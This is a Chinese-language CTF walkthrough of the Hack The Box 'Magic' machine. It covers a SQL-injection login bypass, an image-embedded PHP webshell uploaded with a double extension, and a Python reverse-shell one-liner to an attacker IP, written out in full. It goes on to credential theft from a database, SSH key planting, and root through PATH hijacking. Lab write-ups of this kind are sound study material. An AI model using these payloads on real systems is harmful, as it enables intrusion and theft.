记一次对Hack the box_magic的渗透测试

VSole2022-07-15 07:57:55

靶机介绍:

Magic有两个常见步骤,一个SQLI来绕过登录,一个webshell上传,带有双扩展名来绕过过滤。从那里,我可以获得一个shell,并在数据库中查找凭证,然后切换到user。为了获得根目录,有一个二进制文件在没有完整路径的情况下调用popen,这使它容易受到路径劫持攻击。在Beyond Root中,我将查看导致执行. PHP .png文件的Apache配置、过滤上传的PHP代码以及suid二进制文件的源代码。

信息收集

1.端口扫描

发现存在22和80端口。

2.SQL注入

发现存在SQL注入万能密码进行登录。

存在文件上传

3生成图片马进行文件上传

使用exiftool -Comment='<?php system($_REQUEST['cmd']); ?>' 1.png 生成一个图片马,图片在网上下一个.png格式的。

发现直接上传.png格式是无法上传成功的,将其改成1.php.png格式。再次进行上传。

成功进行上传

漏洞利用:

1.命令执行

上传之后,发现可以执行命令。

2.反弹低权限shell

利用`python3:ython3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`进行反弹shell,然后在浏览器进行访问
http://10.10.10.185/images/uploads/1.php.jpg?0=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

使用nc监听8833端口。然后在浏览器访问url地址,成功获得低权限shell。

权限提升:

1.获取数据库用户账号密码

在查看文件的过程中,发现存在db数据库文件。成功找到了数据库和密码。

然后使用mysql进行登录。

登录之后,直接获得了admin用户密码。

2.ssh登录

使用su切换用户。成功找到第一个user.txt文件。

3.生成ssh公钥,写入公钥。

将公钥写入到远程服务器的authorized_keys文件。

echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3EQYtrsL4KEhFMWW1GH2RBKBfYWAxmAXdT/yF2/g3h/dvTjQfKx3HfKkhlBcQQBSp/6ZbeVXZW6bqGhQq+aKvjVOMoHA8/zKZ2SvB3Zt6ehAyiQeCnFeSB1Jou5bDdRsimz6J3XYniOpnGOqk2Ytv35HI5J4900T5GSAXr2InQgPt+94yn60uHBMB5ani5du+1pAxUJOQ+7i6/BdjGvCGwMh+rqyboEM9qRZJiO/hTcMxeMmQTP+iHS3sGuzQaj7KseJV8vjmdC76SLRLOJsMWob/CSytsh/PZhxpNUUmXZAD1eHhOGuos811PpZ3N3RoP7tDHWjr2Ee9evNp8vhMWgUU0HkWr++mpS8/a5cqi0DETPmmnU97EYpOQtDPXMHDyzihYc0OGYgNn4M4OCKcebid1vyhRRlib1UYQx6JKDxIBDeQM0LSbUx0T/qmsOYKOX1vwiTzCaZahRp+gJaiN5pTXMU4hcKOLalnk4urv4u1LOs5QpAWydIQluwCvZM= root@kalii>authorized_keys

4.ssh远程连接

使用本地ssh进行连接。

5.远程文件传输

在github下载LinEnum.sh,然后本地开启80端口。

6.使用LinEnum.sh脚本检测薄弱点

远程服务器成功下载到,然后使用脚本进行检测。

发现/bin/sysinfo -x权限很可疑,进行查看。

使用file进行查看,发现是64位的ELF。

7.提权

在本地的free文件写入提权脚本。

开启远程下载。

成功下载到free文件

增加其执行权限,然后添加到环境变量当中。

export PATH="/dev/shm:$PATH"

执行/bin/sysinfo进行查询。

nc再次开启监听,然后成功获取到root权限。接着进入root目录,成功获取到root.txt文件。

总结:

这个靶机从信息收集-漏洞利用-文件上传。用到了sql注入万能密码漏洞获取登录权限,然后生成图片马,进行命令执行,在使用python3进行反弹shell,获取低权限shell之后,存在db数据库文件泄露,然后写入本地ssh公钥,利用本地ssh进行登录,开启远程文件传输,上传LinEnm.sh文件进行枚举权限的缺陷,发现可以利用lshw,fdisk,cat和free等进行权限提升。

渗透测试socket
本作品采用《CC 协议》,转载必须注明作者和本文链接
常见边界拓扑第一种情况Inbound Stream ---> Firewall ---> Target. 这其中无论负载均衡设备转发或者防火墙的,均有可能存在带来源IP转发或者不带来源IP转发的情况,带来源IP或者端口的方案我们在下文的常见端口复用实现机制中有所介绍,该如何在此种情况下实现端口复用,而不带来源IP或者端口的情况目前网上讨论得不多,下文也将就这类情况进行分析提出解决方案。
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
Vxscan介绍python3写的综合扫描工具,主要用来敏感文件探测,WAF/CDN识别,端口扫描,指纹/服务识别,操作系统识别,弱口令探测,POC扫描,SQL注入,绕过CDN,查询旁站等功能,主要用来甲方自测或乙方授权测试,请勿用来搞破坏。看到上面的介绍也吓一跳,这么多功能?
常见边界拓扑第一种情况Inbound Stream ---> Firewall ---> Target. 这其中无论负载均衡设备转发或者防火墙的,均有可能存在带来源IP转发或者不带来源IP转发的情况,带来源IP或者端口的方案我们在下文的常见端口复用实现机制中有所介绍,该如何在此种情况下实现端口复用,
为了获得根目录,有一个二进制文件在没有完整路径的情况下调用popen,这使它容易受到路径劫持攻击。信息收集1.端口扫描发现存在22和80端口。>' 1.png 生成一个图片马,图片在网上下一个.png格式的。发现直接上传.png格式是无法上传成功的,将其改成1.php.png格式。登录之后,直接获得了admin用户密码。成功找到第一个user.txt文件。
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target. nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target. NetCat,它的实际可运行的名字叫nc,应该早很就被提供,就象另一个没有公开但是标准的Unix工具。
VSole
网络安全专家